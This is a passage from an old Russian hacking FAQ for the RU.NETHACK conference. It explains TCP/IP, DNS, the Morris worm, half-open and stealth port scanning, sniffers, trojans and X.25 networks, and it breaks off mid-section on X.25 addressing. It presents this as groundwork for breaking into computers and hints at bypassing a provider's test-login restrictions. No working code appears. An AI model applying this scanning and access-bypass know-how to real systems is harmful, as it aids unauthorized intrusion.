The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

RU.NETHACK F.A.Q.


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
 Subj : RU.NETHACK  F.A.Q.







                              The Official
                           RU.NETHACK  F.A.Q.
                    Revision 0.295 (Russian Edition)

                            by DZh and other











                           Список разделов
                           ~~~~~~~~~~~~~~~

    1     Сети ЭВМ.
    1.1   Internet (TCP/IP сети).
    1.1.1 Что такое Internet?
    1.1.2 Что такое DNS?
    1.1.3 Какие программы нужны для работы в Internet?
    1.1.4 Как получить доступ в Internet?
    1.1.5 Что такое Вирус Морриса?
    1.1.6 Что такое сканирование портов?
    1.1.7 Что такое Firewall?
    1.1.8 Что такое Denial of Service(DoS)?
    1.1.9 Что такое Sniffer?
    1.1.10 Троянские кони и логические бомбы.
    1.1.11 Можно ли зная E-Mail человека, узнать его IP-адрес?
    1.1.12 Можно ли зная пароль по UUPC получить On-Line?
    1.1.13 Как через тестовый вход пpовайдеpа, получить доступ в Сеть?
    1.2   X.25 (Сети пакетной коммутации).
    1.2.1 Общие принципы построения.
    1.2.2 Терминология.
    1.2.3 Работа с X.25.
    1.2.4 Работа с ПАД.
    1.2.5 Формат адреса при межсетевом соединении.
    1.2.6 Обзор сети SprintNet.
    1.2.7 Обзор сети ROSNET.
    1.2.8 Что такое сканирование X.25?
    1.3   On-Line Services
    1.3.1 Общие принципы предоставления On-Line услуг.
    1.3.2 Альтернативные методы оплаты за On-Line услуги.

    2     Операционные системы и компьютеры.
    2.1   Классификация методов взлома компьютеров.
    2.1.1 Как определить операционную систему?
    2.1.2 Какие стандартные пароли в операционных системах?
    2.2   Что такое UNIX?
    2.2.1 Где хранятся пароли в UNIX?
    2.2.2 Как узнать пароль в UNIX?
    2.2.3 Какие методы применяются для взлома UNIX?
    2.2.4 Как научится не оставлять за собой следов в UNIX?
    2.3   Windows NT, Windows 9x, Windows 2000.
  + 2.3.1 Как через Internet подключиться к другой win'9x машине?
    2.3.2 Как узнавать различные пароли в Win'9x?
    2.3.3 Где хранятся номера телефонов к Dialup соединениям в Win9x?
    2.3.4 Что такое BO(Back Orifice)?
  * 2.4   Novell NetWare
  * 2.2.1 Где хранятся пароли в NetWare?
  * 2.2.2 Как узнать пароль в NetWare?
  * 2.2.3 Как происходит передача пароля в NetWare?
  * 2.2.4 Какие методы применяются для взлома NetWare?
  * 2.2.5 Хочу подробнее! Где еще почитать о взломе NetWare?

    3     Разное.
    3.1   Условия распространения.
  + 3.2   Где найти свежую версию FAQ?
  + 3.3   Как связаться с авторами?
  + 3.4   Что еще можно почитать?
---



                            Предисловие.


                             Warning: Use of this material may shorten
                             your life in the free world !
                                        The Official Phreaker's Manual

                             Если вас поймают, сошлитесь на незнание.
                                    UNIX System Administrator Handbook

    Назначение этого  документа  -  ознакомить  читателей  конференции
RU.NETHACK с обсуждаемыми в ней темами и ответить на основные вопросы,
касающиеся сетевых атак.  Этот  документ  не сделает  вас хакерами, но
может быть поможет выбрать направление дальнейших поисков...

    Прежде всего хочу избавить вас от  распространенного заблуждения -
сеть,  как таковую, невозможно сломать, ломать там нечего, так как под
понятием 'сеть' подразумевается физическая связь  между  компьютерами,
осуществляющими пересылку пакетов, с единой системой адресации. Ломать
сеть  можно  кусачками  -  например  откусить сетевой кабель :-).  Под
'взломом'  компьютеров  будем понимать получение  несанкционированного
доступа данным и/или машинному времени компьютера  работающего в сети.
Для  удобства  употребляют  выражение  'ломать сеть' когда речь идет о
'взломе' компьютеров в сети.

    Компьютерные сети можно _условно_ разделить  на два вида - On-Line
(время  доставки  пакета  маленькое  -  несколько  секунд)  и Off-Line
(задержки  при  доставке  пакетов могут достигать нескольких часов или
суток).   Примером On-Line сети является Internet; примером Off-Line -
FidoNet.

    F.A.Q.  разделён  на  несколько  логических  частей. В  первой  вы
познакомитесь  с  принципами  построения  и  работы двух видов On-Line
сетей,  построенных  по  технологиям TCP/IP и X.25,  а также с On-Line
сервисами.  Вторая часть посвящена операционным системам, используемым
на компьютерах подключенных к сетям.
---

                   Предисловие к Revision 0.295.

    Еще одна версия второго издания F.A.Q. На горизонте третье - но до
него пока не добежать...
Что  будет  в третьем  издании  - пока доподлинно неизвестно. Вероятно
изменится  структура  документа,  она  придет  к  окончательному  виду
"вопрос-ответ". 
    Если вы хотите дополнить F.A.Q. или что-либо предложить - смотрите
пункт 3.3 (Как связаться с авторами).

    Коротко о Revision 0.295:
+Добавился раздел про Novell NetWare (Thanx to Vladislav Myasnyankin);
-Раздела  "Ресурсы"  все  еще  нет, и в скором времени не предвидится,
пока пользуйтесь Altavist'ой...;
+Незначительные изменения в некоторых ответах(отмечены);

    Как обычно в оглавлении новые пункты отмечены '*', измененные '+'.
---

                           Благодарности.

  Я благодарю всех, кто мне помогал, помогает составлять и тестировать
этот документ. Это:
        Urel Ben-Iohanan,
        Destructor,
        Andy Mc'Horin,
        Vladislav Myasnyankin,
        Anatoly Skoblov,
        Werewolf
        и другие(дополнения принимаются).

                                              [Editor, Denis Zhitenev]
---


                          Часть 1. Сети ЭВМ.

                      1.1 Internet (TCP/IP сети).

1.1.1 Что такое Internet?

    Internet - крупнейшая   компьютерная   сеть  в  мире, объединяющая
множество компьютеров, соединенных самыми разнообразными способами  от
телефонных линий до систем спутниковой  связи. В Internet используется
стек протоколов TCP/IP, который включает в себя:
    IP(Internet Protocol) - межсетевой  протокол, который обеспечивает
транспортировку без дополнительной  обработки данных с одной машины на
другую;
    UDP(User Datagram Protocol) - протокол пользовательских датаграмм,
обеспечивающий транспортировку  отдельных  сообщений  с помощью IP без
проверки ошибок;
    TCP(Transmissin Control Protocol) - протокол управления передачей,
обеспечивающий транспортировку с помощью IP  с проверкой  установления
соединения;

    Каждый компьютер непосредственно подключаемый к Internet  получает
свой уникальный IP-адрес.

    Internet-адрес  имеет  в длину  четыре  байта  и  состоит  из двух
частей:  сетевой  и машинной. Первая часть означает логическую сеть, к
которой  относится  адрес;  на  основании  этой информации принимаются
решения  о  маршрутизации  ( routing ).  Вторая  часть  идентифицирует
конкретную машину в сети.
По соглашению,  IP-адреса записываются как десятичные числа (по одному
на каждый байт), разделенные точками, например 194.85.31.20

    Каждый IP-адрес принадлежит сети определенного  класса. Класс сети
определяется значением байта адреса:

              0              8          16         24          31
              ц______________е__________а__________а____________╢
     Класс A  Ё0| номер сети Ё            номер узла            Ё
              ц______________а__________б_______________________╢
     Класс B  Ё10|      номер сети      Ё       номер узла      Ё
              ц_________________________а__________б____________╢
     Класс C  Ё110|          номер сети            Ё номер узла Ё
              ц____________________________________а____________╢
     Класс D  Ё1110|            групповой адрес                 Ё
              ц_________________________________________________╢
     Класс E  Ё11110|           зарезервировано                 Ё
              ю_________________________________________________ы

        з_______б___________________б______________б______________©
        Ё Класс Ё Диапазон значений Ё Возможное    Ё Возможное    Ё
        Ё сети  Ё  первого байта    Ё кол-во сетей Ё кол-во узлов Ё
        ц_______е___________________е______________е______________╢
        Ё   A   Ё      1 - 126      Ё     126      Ё   16777214   Ё
        Ё   B   Ё      128-191      Ё    16382     Ё     65534    Ё
        Ё   C   Ё      192-223      Ё   2097150    Ё      254     Ё
        Ё   D   Ё      224-239      Ё      -       Ё     2**28    Ё
        Ё   E   Ё      240-247      Ё      -       Ё     2**27    Ё
        ю_______а___________________а______________а______________ы

    Каждый пакет, проходящий по сети содержит адрес получателя, и идет
согласно  определенным  правилам  маршрутизации.  Маршрутизация  - это
процесс  направления  пакета  по  лабиринту  сетей,  находящихся между
источником и адресатом.

1.1.2 Что такое DNS?

    DNS(Domain Name System) - это распределенная база данных,  которая
содержит   информацию  о  компьютерах,  включенных  в  сеть  Internet.
Характер данных зависит от конкретной машины, но чаще всего информация
включает имя машины, IP-адрес и данные для маршрутизации почты.
    Для удобства,большинство компьютеров имеют имена. Доменная система
имен выполняет несколько задач, но основная ее работа - преобразование
имён компьютеров а IP-адреса и наоборот.
    Пространство  имен  DNS  имеет вид дерева доменов, с полномочиями,
возрастающими по мере приближения к корню дерева. Корень дерева имеет
имя "."; под ним находятся домены верхнего уровня(корневые домены).
    По  историческим  причинам  существует  два  вида доменов верхнего
уровня.  В   США   домены  верхнего  уровня  отражают  организационную
структуру, и как правило имеют трехбуквенные имена:
 .gov - государственные учреждения;
 .mil - военные учреждения;
 .com - коммерческие организации;
 .net - поставщики сетевых услуг;
 .org - некоммерческие организации;
 .edu - учебные заведения;
   Для доменов вне США, в соответствии с территориальным расположением
используются двухбуквенные коды стран утвержденные ISO. Например:
  www.spm.ru    - в России
  www.berlin.de - а Германии
  www.hotex.nl  - в Нидерландах
и т.д.
---

1.1.3 Какие программы нужны для работы в Internet?

    Обычно программы для работы с Internet входят в состав большинства
современных операционных систем. Вот некоторые из них:

  ping       - позволяет определить время прохождения пакета до хоста.
  traceroute - показывает путь прохождения пакетов по сети. (в Win95 и
               NT - tracert.exe)
  nslookup   - позволяет просматривать содержимое DNS-серверов.
  telnet     - устанавливает соединение с удаленной  машиной (23 порт)
               и позволяет вам работать в режиме удаленного терминала.
  ftp        - позволяет  передавать файлы между машинами по протоколу
               FTP (File Transfer Protocol) (21 порт).
  finger     - показывает  информацию  о  пользователях  работающих  в
               данный момент на какой-либо машине.
  netstat    - позволяет  получить  статистическую информацию о работе
               сети на локальной машине(открытые соединения и т.д.).

    Для работы с WWW (World Wide Web)  используются программы Netscape
Navigator,  Internet  Explorer,  и  некоторые  другие.  Эти  программы
устанавливают  соединение с сервером (80 порт) и работают по протоколу
HTTP.

    Замечание:  для  работы  с ftp,  telnet,  finger и  www необходимо
чтобы на машине, с которой вы устанавливаете  соединение были запущены
соответствующие программы-серверы.
---

1.1.4 Как получить доступ в Internet?

    Это  вероятно  один из самых насущных вопросов для любого читателя
конференции RU.NETHACK.
    Как показывает практика, для того, чтобы начать ломать  компьютеры
в Internet  необходимо уже иметь туда выход, пусть даже временный  или
минимальный.  Не  всё так сложно как вы думаете. В наше время получить
доступ в Internet не составляет никаких проблем. Вот некоторые из них:

  - Самый легкий  - если  ваш институт ( если вы работаете на кафедре,
    то  всё многократно упрощается ) уже подключен  к Internet, то 
    попытайтесь  договориться о предоставлении вам (или вашей кафедре)
    выхода туда.
  - Если  в  вашем  институте  нет  Internet, то  это  даже лучше - вы
    можете  стать  основателем,  остается только пойти к руководству и
    убедить их  в необходимости подключения [КАК !?! У нашего любимого
    института нет выхода в I-Net ?!?  Нет собственного WWW-сервера ?!?
    Нет даже электронной почты ?!? Да  нас не будут уважать !!! Каждый
    уважающий себя  ВУЗ  ДОЛЖЕН иметь выход в Internet !!! ]. Если Вам
    удалось  убедить  начальство  -  Вы  выиграли  и у вас будет свой,
    _бесплатный_ Internet.
           -----------------------------------------------------------
           - Маленькое отступление.
           -   Прочитав этот абзац, один мой знакомый долго смеялся...
           - однако,  я  оставляю  его  без изменений, если вы всерьёз 
           - хотите  всем  этим  заниматься, это один из самых простых
           - путей начать. Через некоторое время желание что-то ломать
           - пропадёт. (;
           -----------------------------------------------------------

  - Если  Вы работаете  в солидной фирме, не имеющей выход в Internet,
    то вышеприведенные рекомендации применимы и в этом случае.

  На этом стоит временно прервать перечисление и заметить:  ЕСЛИ У ВАС
ЕСТЬ  ВОЗМОЖНОСТЬ  ВОСПОЛЬЗОВАТЬСЯ  ВЫШЕПЕРЕЧИСЛЕННЫМИ  СПОСОБАМИ,  НЕ
ЧИТАЙТЕ ДАЛЬШЕ,  а  попытайтесь  воплотить  их  в  жизнь,  и  у Вас не
возникнет множества проблем связанных с темой данной конференции.

Для всех остальных - продолжу:
  - Платный доступ к Internet предоставляют находящиеся в вашем городе
    фирмы( т.н. провайдеры ).   Можно  заметить, что их услуги все еще
    дороги,  особенно если доступ нужен без определенной цели, т.е. вы
    не зарабатываете денег используя Internet.
  - Кроме  того, услугами  по  предоставлению доступа в Internet могут
    заниматься  фирмы  находящиеся  за  пределами  вашего  города  или
    страны,  используя  в  качестве  транспорта  X.25  сети ( например
    сеть SPRINT ).
---

1.1.5 Что такое Вирус Морриса?

    2 ноября 1988  года  Роберт  Моррис  младший,  аспирант факультета
информатики Корнельского Университета с помощью написанного им  вируса
инфицировал   большое  количество  компьютеров,  подключенных  к  сети
Internet.
    Вирус Морриса поражал только компьютеры типа SUN 3 и  VAX, которые
использовали варианты ОС UNIX версии 4 BSD.
    Для своего  распространения  вирус  использовал  некоторые дефекты
стандартной   операционной   системы  UNIX,  установленной  на  многих
системах. Он также использовал механизм,  предназначенный  для доступа
к удаленным компьютерам в локальных сетях.
    Вирус  состоял  из  двух  частей:  главной  программы и программы,
обеспечивающей его распространение. Главная программа после запуска на
очередной машине собирала информацию относительно других машин в сети,
с которыми она имеет связь. Она выполняла эту работу с помощью анализа
конфигурационных  файлов и  путем  запуска  системной утилиты, которая
дает   информацию  о  текущем  состоянии  соединений  в  сети.   Затем
производилась пересылка программы распространения на найденные машины,
затем она запускалась и обеспечивала пересылку и компиляцию  остальной
части вируса. Затем весь процесс повторялся.
    Наиболее заметным эффектом  при  распространении  вируса, была все
же  непрерывно  возраставшая  загрузка  пораженных  вирусом  машин. По
истечении  некоторого  времени  некоторые  машины  оказались настолько
загруженными  распространением  копий  вируса,  что  не  были способны
выполнять никакой полезной работы; некоторые машины исчерпывали память
для   свопинга   или   таблицу  текущих  процессов  и  их  приходилось
перегружать.
---

1.1.6 Что такое сканирование портов?

           -----------------------------------------------------------
           - Маленькое отступление.
           -    Читателям, не знакомым с принципами работы TCP/IP я
           - рекомендую пропустить эту главу, или ознакомиться с ней
           - прочитав TCP/IP Programming Guide, или что-то подобное.
           -----------------------------------------------------------

    Иногда  у вас может  возникнуть  потребность  узнать какие сервисы
предоставляет  определенный  хост.  Для этого существует ряд различных
программ сканирования портов.

    Простейший  вариант - это программы  типа SATAN (Security Analysis
Tool for Auditing Networks), которые устанавливают соединение с каждым
TCP-портом, открывая полное TCP-соединение. Преимущества  этого метода
заключаются в том,  что пользователю,  занимающемуся сканированием, не
нужно  самому  составлять  ip-пакет,  который  будет  использован  для
сканирования, потому что он использует стандартные системные вызовы, и
ему не нужен доступ администратора ( обычно нужен, чтобы  использовать
SOCK_RAW  или  открывать /dev/bpf, /dev/nit и т.д.). Недостатком этого
метода заключается в том, что его легче обнаружить, причем несколькими
способами,в частности TCP Wrapper'ами by Wietse Venema. Для устранения
этого недостатка были придуманы методы сканирования  без  установления
полного TCP-соединения, т.н. 'полуоткрытое сканирование'.

    Процесс  установки  TCP-соединения  состоит  из трех фаз: сторона,
устанавливающая соединение, сначала посылает TCP-пакет с установленным
флагом  SYN,  после  чего  принимающая  сторона  посылает TCP-пакет  с
установленными  флагами  SYN  и  ACK  в  случае, если порт открыт, или
сбрасывает  соединение с флагом  RST если порт не активен. Третья фаза
происходит когда сторона,устанавливающая соединение,посылает финальный
TCP-пакет с установленным флагом ACK ( само собой все эти пакеты имеют
соответствующие  sequence-  и  ack-номера, и т.д. ). Теперь соединение
установлено.

Сканирования с SYN-флагом.
~~~~~~~~~~~~~~~~~~~~~~~~~~
    SYN-сканер посылает только первый пакет из трех и ждет SYN|ACK или
RST.  Когда  он  получит либо то, либо другое, он будет знать, активен
этот  порт  или  нет. Основное преимущество этого метода заключается в
том,что он не обнаруживается программами типа "SATAN" или TCP Wrappers
by Wietse Venema.  Основные недостатки этого метода:

    Этот метод обнаруживается некоторыми программами,которые проверяют
попытки  коннекта  с  SYN-флагом  ( например  tcplog ),  а  также   он
обнаруживается netstat(1)'ом.

    Сторона,устанавливающая соединение, обычно должна  составлять весь
IP-пакет. Для этого необходимо иметь доступ к SOCK_RAW ( в большинстве
операционных систем: getprotbyname('raw') )  или  /dev/bpf   (Berkeley
Packet Filter),  /dev/nit  (Sun 'Network  Interface  Tap') и т.д.  Для
этого необходимо, как правило, иметь уровень администратора.

Stealth-сканирование.
~~~~~~~~~~~~~~~~~~~~~
    Этот  метод  основан  на некорректном сетевом коде в BSD. Учитывая
то,что в большинстве операционных систем используется BSD'шный сетевой
код или производный от него,этот способ работает на большинстве систем
( наиболее очевидное исключение - маршрутиризаторы Cisco ). Этот метод
трудно  обнаружить.  Даже  зная  сам метод, разработка обнаруживающего
алгоритма весьма проблематична без устранения самой ошибки. Недостатки
этого способа:
    Этот  метод  основан  на ошибках  в сетевом  коде. Это значит, что
возможно, а точнее скорее всего, эти ошибки будут исправлены. Например
в OpenBSD это уже исправлено.
    Нельзя  поручиться,  что  этот  способ  будет  нормально  работать
в конкретной  обстановке.  Результаты могут быть разными в зависимости
от  платформы  и операционной  системы,  т.е.  этот  способ  не вполне
надежен.

    Используются TCP пакеты с установленными ACK и FIN флагами.Их надо
использовать,потому что,если такой пакет послать в порт при неоткрытом
соединении,всегда возвратится пакет с флагом RST. Существуют несколько
методов, использующих этот принцип:

метод #1:

    Послать  FIN-пакет. Если  принимающий  хост возвращает RST, значит
порт неактивен,если RST не возвращается, значит порт активен. Учитывая
тот  факт,  что  этот  метод  работает  на  таком  количестве  хостов,
это - грустное  свидетельство  тому,  какой некорректный сетевой код в
большинстве операционных систем.

метод #2

    Послать  ACK-пакет.  Если TTL  возвращаемых  пакетов меньше, чем в
остальных  полученных  RST-пакетах, или если размер окна больше  нуля,
то скорее всего порт активен.

    Пример  программы  для  разных  видов  сканирования  TCP портов вы
можете найти в приложении 4.
---

1.1.7 Что такое Firewall?

    Firewall  -  один  из эффективных методов защиты внутренних сетей.
Физическая  реализация  этого  сервиса может быть различной, но обычно
это программный  или  программно-аппаратный  комплекс,  обеспечивающий
анализ и обработку проходящего сквозь него сетевого трафика.
    Обработка  может  вестись  в  широких  пределах - от разграничения
доступа  к  различным  адресным  пространствам  сети,   до  прозрачной
шифрации трафика с целью организации  виртуальных частных сетей(VPN) в
Internet.
    Наиболее  распространенное  применение  -  организация  доступа  в
Internet  из  закрытых  корпоративных сетей.  В этом случае внутренние
пользователи  получают  полный  или  ограниченный доступ в Internet, а
доступ снаружи во внутреннюю сеть не допускается.
---

1.1.8 Что такое Denial of Service(DoS)?

    Denial of Service  - разновидность атак, приводящая к некорректной
работе  или  выходу из строя установленного на компьютеры программного
обеспечения.  Атаки  подобного  типа  относятся  скорее к электронному
вандализму,  чем  к  реальному  взлому  систем, поэтому подробнее этот
вопрос не будет рассматриваться. Ключевые  слова для поиска информации
в Internet: [win]Nuke, land-attack, syn-flood, teardrop.
---

1.1.9 Что такое Sniffer?

Что же такое sniffer, и как это работает.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    В отличие от телефонной  сети,  компьютерные сети используют общие
коммуникационные каналы т.к. достаточно дорого тянуть петлю до каждого
узла.  Совместное использование каналов подразумевает,  что узел может
получать  информацию,  которая  предназначается  не  ему. 'Отлов' этой
информации в сети и называется sniff'ингом.
    Наиболее  простой  способ соединения компьютеров - ethernet. Обмен
данными  по протоколу  Ethernet  подразумевает  посылку  пакетов  всем
абонентам  сети.   Заголовок  пакета  содержит  адрес  узла-приемника.
Предполагается,  что  только  узел  с  соответствующим  адресом  может
принять пакет.  Однако, через каждый узел проходят все пакеты, а затем
сетевой адаптер выбирает из них предназначенные для конкретного узла.
    Так как в обычной сети информация о паролях передается по ethernet
в  виде  текста - нет  ничего  сложного, собирая и анализируя  пакеты,
проходящие по сети, получить информацию о всех компьютерах сети.

Область применения sniff'инга.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Sniff'инг - один  из наиболее популярных видов атаки, используемых
хакерами в локальных сетях.  Первый  программный  Sniff'ер  называемый
Esniff.c  -  очень  маленький,  разработанный  для  работы  на  SunOS,
занимался тем, что вылавливал первые 300 байт  telnet,  ftp  и  rlogin
сессий.  Он  был  опубликован  в  Phrack - одном  из  наиболее  широко
известном подпольном хакерском журнале.

Существует множество ethernet sniffer'ов, здесь лишь некоторые из них:

OS              Sniffer                      Где взять
~~              ~~~~~~~                      ~~~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp   */
FreeBSD         tcpdump            /* Available via anonymous ftp
                                      at gatekeeper.dec.com         */
            /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp
                                      at gatekeeper.dec.com         */
                     /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp   */
DEC Ultrix      tcpdump            /* Available via anonymous ftp   */
HP/UX           nettl  (monitor) & netfmt (display)
                nfswatch           /* Available via anonymous ftp   */
Linux           tcpdump            /* at sunsite.unc.edu            */
                           /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp   */
                Etherman
                tcpdump            /* Available via anonymous ftp   */
Solaris         snoop
                tcpdump
SunOS           etherfind
                nfswatch           /* Available via anonymous ftp   */
                tcpdump            /* Available via anonymous ftp   */
DOS             ETHLOAD            /* Available via anonymous ftp   */
                                   /* as ethld104.zip               */
                The Gobbler        /* Available via anonymous ftp   */
                LanPatrol
                LanWatch
                Netmon
                Netwatch
                Netzhack           /* Available via anonymous ftp   */
                        /* at mistress.informatik.unibw-muenchen.de */
                                   /* /pub/netzhack.mac             */
Macintosh       Etherpeek
Win'9X,Win NT   Network Monitor    /* в составе Microsoft SMS       */
                Session Wall       /* www.abirnet.com               */
                LANAlyzer
---

1.1.10 Троянские кони и логические бомбы.

    Вы помните историю про Троянского Коня?  Троянские  программы  это
нечто   похожее.   Это код,   выполняющий   нелегальные  действия  при
определенных условиях,  программы эмулирующие работу других программ с
различными целями. Особенно опасен троянский код,  помещенный в важные
системные программы, например в программы проверки паролей...
    Программы,  эмулирующие  работу  других  программ,  особенно  тех,
которые  взаимодействуют   с  пользователем,  могут  создать  реальную
возможность  для взлома системы. Например программа, которая эмулирует
процедуру  регистрации  пользователя  в  системе  и  после  введенного
пароля говорит что-то вроде Login incorrect, затем инициирует реальную
процедуру регистрации.
    Примером  троянской  программы   для  Win'9x  является  нашумевшая
программа "Back Orifice", инсталлирующаяся  как сервис  и  позволяющая
удаленно получить доступ к различным ресурсам компьютера.
---

1.1.11 Можно ли зная E-Mail человека, узнать его IP-адрес?

    E-mail  и  IP-адрес  в большинстве случаев не связаны между собой.
Можно  однозначно  узнать адрес сервера отвечающего за доставку E-mail
посмотрев  с  помощью  программы nslookup(dig) на записи типа MX в DNS
для  домена указанного в адресе(см 1.1.2). Если запись MX отсутствует,
то сервером является машина идентифицируемая доменом в E-mail.
---

1.1.12 Можно ли зная пароль по UUPC получить On-Line?

    Нет. UUCP(Unix-to-Unix copy protocol),  используемый  для передачи
файлов.  На  данный  момент  этот  протокол  используется  для  обмена
почтовыми пакетами. Есть _неподтвержденные_ слухи,  что на какой-то из
старых версий UUCP была  возможность  запускать  программы удаленно...
но это только слухи.
---

1.1.13 Как через тестовый вход пpовайдеpа, получить доступ в Сеть?

    У  некоторых  провайдеров  существует  тестовые входы, позволяющие
пользователям получить доступ к серверам находящимся непосредственно в
их сети.  Естественно,  маршрутизатор  провайдера  настраивается таким
образом, чтобы не пускать в Internet пользователя тестового входа.
    Таким  образом,  после  получения  доступа в сеть провайдера через
тестовый  вход,  задача  доступа  в Internet  может  быть решена путем
корректировки настроек программного обеспечения этого провайдера, либо
можно  попытаться  получить бюджет для нормального входа. Решение этих
задач  зависит  от  конкретной  ситуации  и универсальной  методики не
существует. Далее см. часть 2.
---


                  1.2  X.25 (Сети пакетной коммутации)

1.2.1  Общие принципы построения.

    Основу  X.25  сетей  составляют  Центры  Коммутации Пакетов (ЦКП),
расположенные во многих городах и обеспечивающие доступ к сети. Обычно
абонент получает доступ к сети, соединяясь с ближайшим ЦКП, т.е. можно
получить доступ к сети из любого места, где есть телефонная связь, без
привязки к конкретному ЦКП.
    Абоненты  сети  подключаются  к  ней  для  того,  чтобы передавать
информацию  или  принимать  ее от других абонентов или хост-машин. Для
этого в  сети  устанавливается  временная логическая связь между этими
абонентами,  называемая  виртуальным  соединением.  После установления
виртуального  соединения  между  абонентами  может  происходить  обмен
данными  одновременно  в двух направлениях (дуплекс),  причем задержка
передачи  пакетов  данных  не  превышает долей или нескольких секунд в
зависимости от загруженности сети.
---

1.2.2 Терминология.

NUA (Network  Users  Address /Сетевой  Адрес  Пользователя/ ) - число,
или мнемоническое имя задающее сетевой адрес пользователя. Подробнее о
формате см. п. 2.1.3.

NUI (Network User Identificator /Идентификатор Сетевого Пользователя/)
- код  доступа и пароль.  Обычно  предоставляется  поставщиком сетевых
ресурсов и используется для определения оплаты за услуги.

DNIC (Data  Network  Identification  Code /Код  идентификации сети/) -
представляет из себя 4 цифры, которые в полном  сетевом  адресе задают
код сети данных. Подробнее в п. 2.1.3 и в приложении 1.

PAD (Packet Assemble Disassembler / Сборщик/разборщик пакетов /) - это
устройство позволяющее с помощью обычного терминала  работать с сетями
коммутации  пакетов,  т.к.  терминальные  программы  передают не блоки
данных, а символы.
---

1.2.3 Работа с X.25

    Для  работы  с  X.25  требуется  терминальная  программа (например
Telemate или Telix). Позвонив модемом на  ближайший узел сети пакетной
коммутации,  вы  подключаетесь  к  ПАД,  который  получает символы для
передачи  по  сети  и  формирует  из  них  пакеты, а также выполняет и
обратную операцию разборки пакетов и передачи символов на терминал.

    Как  уже  говорилось  ранее,  сети  пакетной  коммутации  являются
транспортом,  позволяющим вам работать со многими системами, которые к
нему  подключены.  Для  этого  необходимо знать адрес (NUA) системы, с
которой вы  предполагаете  работать.  Кроме  того,  большинство систем
снабжено  средствами  идентификации  пользователей,  т.е.  требуют для
работы с ними имя пользователя и пароль. Это связано, в первую очередь
с реверсивной  оплатой  сетевых услуг - владельцы подключенной  к сети
системы платят провайдеру за время соединения  пользователей  с ней, а
затем могут брать с пользователей плату за предоставляемые услуги.
---

1.2.4 Работа с ПАД.

    Работа пользователя с  ПАД происходит в двух режимах:  в командном
и передачи данных.  В начале своей работы с ПАД пользователь находится
в командном режиме. При установлении соединения пользователь переходит
в режим  передачи  данных.  В  режиме передачи данных происходит обмен
информацией с удаленным ресурсом. При необходимости  непосредственного
взаимодействия с ПО ПАД пользователь может  перейти в командный режим,
введя  символ  внимания  -  как  правило,  CTRL/P.  В командном режиме
пользователь может использовать следующие команды:

     CON    - установление соединения через сеть Х.25 [*]
     LOC    - установление локального соединения
     CLR    - разрыв соединения [**]
     PAR?   - просмотр текущих значений параметров Х.3 [***]
     SET    - установление новых значений параметров Х.3
     SET?   - установление новых значений параметров Х.3 и их просмотр
     PROF   - установление новых значений совокупности параметров X.3
     INT    - посылка срочных данных
     RESET  - сброс соединения
     STATUS - текущий статус соединения

    В  ответ  на  команды  пользователя  ПАД  выдает  диагностические
сообщения:
     з____________________________________________________________©
     Ё Сообщение ПАД               Значение сообщения             Ё
     ц____________________________________________________________╢
     Ё COM              соединение установлено                    Ё
     Ё ERR              синтаксическая ошибка в команде           Ё
     Ё RESET            возможная потеря данных на пакетном уровнеЁ
     Ё FREE             ответ на команду ПАД STATUS,при отсутствииЁ
     Ё                  соединения                                Ё
     Ё ENGAGED          ответ на команду ПАД STATUS,при установ-  Ё
     Ё                  ленном соединении                         Ё
     Ё CLR CONF         разъединение выполнено                    Ё
     Ё CLR              индикация разъединения по одной из следу- Ё
     Ё                  ющих причин:                              Ё
     Ё    0 DTE         удаленный DTE разорвал соединение         Ё
     Ё    1 OCC         номер занят                               Ё
     Ё    3 INV         неправильный запрос средств               Ё
     Ё    5 NC          сеть переполнена                          Ё
     Ё    9 DER         канал неисправен                          Ё
     Ё   11 NS          доступ запрещен                           Ё
     Ё   13 NP          нет доступа                               Ё
     Ё   17 RPE         удаленная процедурная ошибка              Ё
     Ё   19 ERR         местная процедурная ошибка                Ё
     Ё   21 PAD         разъединил местный ПАД                    Ё
     Ё   25 NRC         нет реверсивной оплаты                    Ё
     Ё   33 INC         несовместимый адрес назначения            Ё
     Ё   41 NFC         нет быстрой выборки                       Ё
     Ё  128 DTE         канал зарезервирован                      Ё
     Ё  129 DTE         удаленный DTE не готов                    Ё
     Ё  130 DTE         канал является исходящим                  Ё
     Ё  131 DTE         DTE работает по протоколу Х.28            Ё
     Ё  132 DTE         DTE отсоединено                           Ё
     Ё  133 DTE         DTE недоступно                            Ё
     Ё  134 DTE         канал не существует                       Ё
     Ё  135 DTE         канал рестартован                         Ё
     Ё  136 DTE         нет связи по Х.25                         Ё
     Ё  137 DTE         адрес удаленного DTE не существует        Ё
     Ё  138 DTE         нет виртуального канала                   Ё
     ю____________________________________________________________ы

[*]   - В некоторых случаях команду 'CON' пропускают или заменяют 'C'.
[**]  - В некоторых случаях заменяется командой BYE.
[***] - Значения параметров X.3 приводятся в приложении 2.
---

1.2.5 Формат адреса при межсетевом соединении.
                                                    з_ 0 -
                                                    ц_ 1 - Океания
                                                    ц_ 2 - Европа
         з_____ признак того,                       ц_ 3 - Америка
         Ё          что адрес задан в полном виде   ц_ 4 - Азия
         Ё       DNIC - код сети,где:               ц_ 5 - Австралия
         Ё з___ код региона 0 - 9 <_________________е_ 6 - Африка
         Ё Ё                                        ц_ 7 - Юж. Америка
         Ё Ёзб_ код страны (50 - СНГ)               ц_ 8 -
         Ё ЁЁЁ                                      ю_ 9 -
         Ё ЁЁЁ
         Ё ЁЁЁз код национальной сети 1-9 <_________б_ 0 - ROSPAC
         Ё ЁЁЁЁ                                     ц_ 1 - SPRINT
         0 250С XXXX YYYY ZZ                        ц_ 2 - IASNET
                 ЁЁЁ ЁЁЁЁ юа_подадреса абонента,    ц_ 3 - MMTLnet
                 ЁЁЁ юааа____номер линии на узле,   ц_ 4 - INFOTEL
                 юаа________ номер узла             ц_ 5 - ?
           ю__ы ю__________ы                        ц_ 6 - ROSNET
           DNIC Внутрисетевой адрес                 ц_ 7 - ISTOK-K
